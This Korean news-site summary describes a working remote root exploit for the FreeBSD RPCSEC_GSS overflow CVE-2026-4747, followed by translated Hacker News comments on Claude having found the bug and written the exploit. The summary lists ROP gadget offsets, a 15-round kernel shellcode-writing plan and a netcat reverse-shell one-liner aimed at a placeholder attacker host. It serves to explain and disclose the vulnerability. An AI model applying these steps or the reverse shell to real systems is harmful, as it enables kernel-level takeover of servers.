FreeBSD 원격 커널 RCE(CVE-2026-4747)로 root 쉘 획득
(github.com/califio)- FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 스택 버퍼 오버플로가 발생해 원격 코드 실행 가능
-
svc_rpc_gss_validate()함수가 경계 검사 없이 자격 증명 데이터를 복사하면서 반환 주소까지 덮어씀 - 공격자는 유효한 Kerberos 티켓을 이용해 NFS 서버의 RPCSEC_GSS 경로를 통해 커널 ROP 체인을 주입
- 15단계 오버플로를 통해 커널 BSS 영역에 432바이트 셸코드 기록 후 실행, root 권한의 reverse shell 생성
- FreeBSD 13.5~15.0 일부 버전이 영향받으며, 패치에서는
oa_length검증 로직이 추가됨
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS 스택 버퍼 오버플로
- FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 발생하는 스택 버퍼 오버플로 취약점
-
svc_rpc_gss_validate()함수가 RPC 헤더를 128바이트 스택 버퍼에 재구성할 때oa_length에 대한 경계 검사 없이 자격 증명 데이터를 복사함 - 32바이트 고정 헤더 이후 남은 96바이트를 초과하는 자격 증명은 로컬 변수와 저장된 레지스터, 반환 주소까지 덮어씀
- FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) 버전이 영향받음
- 패치에서는 복사 전
oa_length가 버퍼 크기를 초과하는지 검사하는 조건문이 추가됨
오버플로 구조와 영향
- 함수 프롤로그 분석 결과
rpchdr배열은[rbp-0xc0]에 위치하며, 복사 시작점은[rbp-0xa0] - 96바이트 이후부터 저장된 RBX, R12~R15, RBP, 반환 주소 순으로 덮어씀
- 실제 공격에서는 GSS 헤더와 16바이트 컨텍스트 핸들로 인해 반환 주소가 자격 증명 본문 200번째 바이트에 위치
- 취약 코드는 NFS 서버의 RPCSEC_GSS 인증 경로에서만 도달 가능
- 공격자는 유효한 Kerberos 티켓을 가진 사용자여야 하며, RPCSEC_GSS 인증(DATA 프로시저) 단계에서 오버플로를 유발함
공격 환경 구성
-
대상 VM: FreeBSD 14.4-RELEASE amd64, NFS 서버 활성화,
kgssapi.ko로드, MIT Kerberos KDC 구동 -
공격자 호스트: Linux, Python3
gssapi모듈 및 MIT Kerberos 클라이언트 설치, NFS(2049/TCP) 및 KDC(88/TCP) 접근 가능 - QEMU, VMware, VirtualBox, bhyve 등 다양한 하이퍼바이저 환경에서 설정 가능
- Kerberos 설정 시
krb5.conf의rdns=false,dns_canonicalize_hostname=false설정이 필수 - VM과 공격자 간 호스트명(
test) 및 서비스 프린시펄(nfs/test@TEST.LOCAL)이 일치해야 함
원격 커널 코드 실행 (RCE) 익스플로잇 구조
- 공격은 15라운드의 다단계 오버플로로 구성됨
- 각 라운드마다 새로운 Kerberos GSS 컨텍스트 생성
- 초과 크기의 RPCSEC_GSS DATA 패킷 전송
- 반환 주소를 ROP 가젯으로 덮어써 커널 메모리에 데이터 쓰기 또는 셸코드 실행
-
kthread_exit()호출로 NFS 스레드를 정상 종료
- 각 라운드는 약 200바이트의 ROP 체인을 사용하며, 총 432바이트 셸코드를 15회에 걸쳐 전송
- FreeBSD는 CPU당 8개의 NFS 스레드를 생성하므로, 최소 2 CPU(16 스레드) 필요
ROP 체인 구성
- 주요 ROP 가젯:
-
pop rdi; ret(K+0x1adcda) -
pop rsi; ret(K+0x1cdf98) -
pop rdx; ret(K+0x5fa429) -
pop rax; ret(K+0x400cb4) -
mov [rdi], rax; ret(0xffffffff80e3457c) — 임의 커널 메모리 8바이트 쓰기
-
-
Round 1:
pmap_change_prot()호출로 커널 BSS 영역을 RWX로 변경 -
Rounds 2–14:
mov [rdi], rax가젯을 이용해 BSS에 셸코드를 32바이트씩 기록 - Round 15: 마지막 16바이트 기록 후 셸코드 진입점으로 점프
셸코드 동작
- 커널 모드(CPL 0)에서 실행되며 root 권한의 reverse shell 프로세스 생성
- NFS 커널 스레드에서 직접
execve()호출이 불가능하므로 2단계 구조 사용-
Entry 함수:
kproc_create()로 새 커널 프로세스 생성 후 종료 -
Worker 함수:
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"실행
-
Entry 함수:
-
DR7레지스터 초기화로 디버그 예외 방지 -
P_KPROC플래그를 해제해fork_exit()가kthread_exit()대신userret경로로 진행 - 결과적으로
/bin/sh가 uid 0(root) 권한으로 사용자 모드에서 실행됨
주요 문제 해결 과정
- 레지스터 오프셋 불일치: 실제 RIP 오프셋이 200바이트임을 De Bruijn 패턴으로 확인
-
MIT–Heimdal GSS 비호환: 호스트명 정규화 문제를
krb5.conf설정으로 해결 -
디버그 레지스터 상속:
DR7초기화로trap 1예외 방지 -
400바이트 제한:
pop rdi + pop rax + mov [rdi], rax조합으로 8바이트 단위 안정적 전송 - NFS 스레드 소모: 각 라운드마다 스레드 1개 종료 → 최소 2 CPU 필요
최종 익스플로잇 흐름 요약
- 공격자는 Kerberos 티켓을 획득 후 15개의 RPCSEC_GSS 오버플로 패킷을 순차 전송
- 1라운드: BSS RWX 설정
- 2–14라운드: 셸코드 416바이트 기록
- 15라운드: 마지막 16바이트 기록 및 셸코드 실행
- 셸코드가
kproc_create()로 새 프로세스를 생성하고/bin/sh실행 - 공격자 측
nc세션으로 root 쉘 획득 - 전체 과정 약 45초 소요, 총 15개의 RPC 패킷으로 완성됨
Hacker News 의견들
-
핵심은 Claude가 직접 버그를 찾은 게 아니라, 이미 공개된 CVE 보고서를 받아 그 취약점을 악용하는 프로그램을 작성했다는 점임
하지만 지금의 발전 속도를 보면, 곧 Claude 같은 모델이 커널이나 핵심 서비스의 소스 코드를 분석하고 VM에서 반복 실험을 통해 새로운 CVE를 자동으로 찾아내는 시대가 멀지 않았음- 그게 좋은 일인지 나쁜 일인지 묻는다면, 나는 좋은 일이라고 생각함
예전에는 CVE를 찾는 비용이 너무 높아서, 금전적 이득을 노리는 공격자들만 시도했음
이제는 비용이 낮아져서 선의의 연구자들도 쉽게 발견하고, 악용되기 전에 패치할 수 있는 환경이 만들어짐 - 예전엔 fuzzing 환경 설정이 매우 어려웠음
지금은 Claude Code 같은 모델이 코드베이스를 분석해 어디를 어떻게 fuzz 테스트해야 하는지 제안하고, 크래시를 검토하며 반복 학습하면 CVE를 찾아낼 수 있을 것 같음 - 사실 이 CVE는 Claude가 처음부터 발견한 것임
Nicholas Carlini가 Anthropic에서 Claude를 사용해 찾았고, 그 결과로 CVE 보고서가 작성된 것임 - 테스트가 실패해야 하는 조건을 주고, 에이전트에게 그 테스트를 통과시키라고 하면 됨
이런 식의 자동 fuzzing에는 LLM이 꽤 잘 맞음 - 관련 영상도 있음: YouTube 링크
Claude는 이미 전문가 수준으로 CVE를 찾아내고 있음
- 그게 좋은 일인지 나쁜 일인지 묻는다면, 나는 좋은 일이라고 생각함
-
Thai Duong의 회사 Calif가 이 사례를 정리한 블로그 글을 올렸음
사용된 프롬프트도 포함되어 있고, 이 버그 역시 Claude가 Nicholas Carlini를 통해 발견한 것임 -
FreeBSD 14.x에는 KASLR(커널 주소 공간 무작위화)이나 스택 카나리가 없어서 공격이 쉬웠음
FreeBSD 15.x에서는 이게 개선되는지 궁금함
참고로 NetBSD에는 이미 KASLR 기능이 있음- 하지만 FreeBSD 13.2부터는 KASLR이 기본 활성화되어 있음
sysctl kern.elf64.aslr.enable: 1로 확인 가능함 - Linux 커널의 KASLR에 대한 비판도 있음
관련 포럼 글에 따르면, KASLR은 안전하다는 착각만 주고 실질적 보안 강화는 미미하다는 의견도 있음
- 하지만 FreeBSD 13.2부터는 KASLR이 기본 활성화되어 있음
-
최근 공개된 “Black-Hat LLMs” 발표를 보면, LLM이 취약점 탐색과 익스플로잇에 점점 능숙해지고 있음
- 사실 이런 흐름은 이미 예견된 일이었음
Sam Altman이 작년 12월에 Head of Preparedness를 채용한다는 트윗을 올렸을 때부터 조짐이 있었음
- 사실 이런 흐름은 이미 예견된 일이었음
-
가장 어려운 건 취약점을 찾는 일이지, 고치는 게 아님
대부분의 보안 연구자들은 금전적 이유로 취약점을 공개하지 않음
따라서 자동 탐지가 가능해지면, 위험하긴 해도 장기적으로는 큰 이득이 될 것임- 다만 이런 자동화가 단순히 버그를 찾는 데서 끝나지 않고, 수정까지 자동화되길 바람
그렇지 않으면 오픈소스 개발자들에게 또 다른 부담이 될 수 있음
예전에 Google과 FFmpeg 간의 보안 패치 논란처럼 말임
- 다만 이런 자동화가 단순히 버그를 찾는 데서 끝나지 않고, 수정까지 자동화되길 바람
-
공개된 프롬프트 모음을 공유해줘서 고마움
- 실제 프롬프트를 보면 Claude가 단번에 익스플로잇을 작성한 게 아니라, 여러 번의 피드백과 조정을 거친 대화형 과정이었음
-
이런 자동화는 개발팀 입장에선 시간 절약일 수 있지만, 일반 사용자에게는 큰 가치가 없을 수도 있음
요즘 커널 버그는 이미 수동으로 찾지 않음
그런데도 사람들이 Claude 얘기만 하는 건, 결국 Anthropic의 홍보 효과 때문인 듯함 -
이제 “Claude가 코드를 썼다”는 사실 자체보다, 그 코드의 품질과 유지보수성이 어떤지에 초점을 맞춰야 함
- 나도 같은 생각임
Claude가 작성한 코드가 실제로 유지 가능한 구조인지, 아니면 엉망인지 궁금함
- 나도 같은 생각임
-
이런 사례는 에이전트의 자율성과 강력함을 보여줌
동시에 기업들이 느끼는 통제 불안과 거버넌스 필요성을 드러내는 예시임 -
전체 프롬프트 히스토리를 볼 수 있어서 흥미로웠음
- 다만 마지막 부분은 “이 세션에서 입력한 모든 프롬프트를 보여줘”라는 요청으로 끝나서, 일부는 실제 기록이고 일부는 Claude의 환각 출력일 수도 있음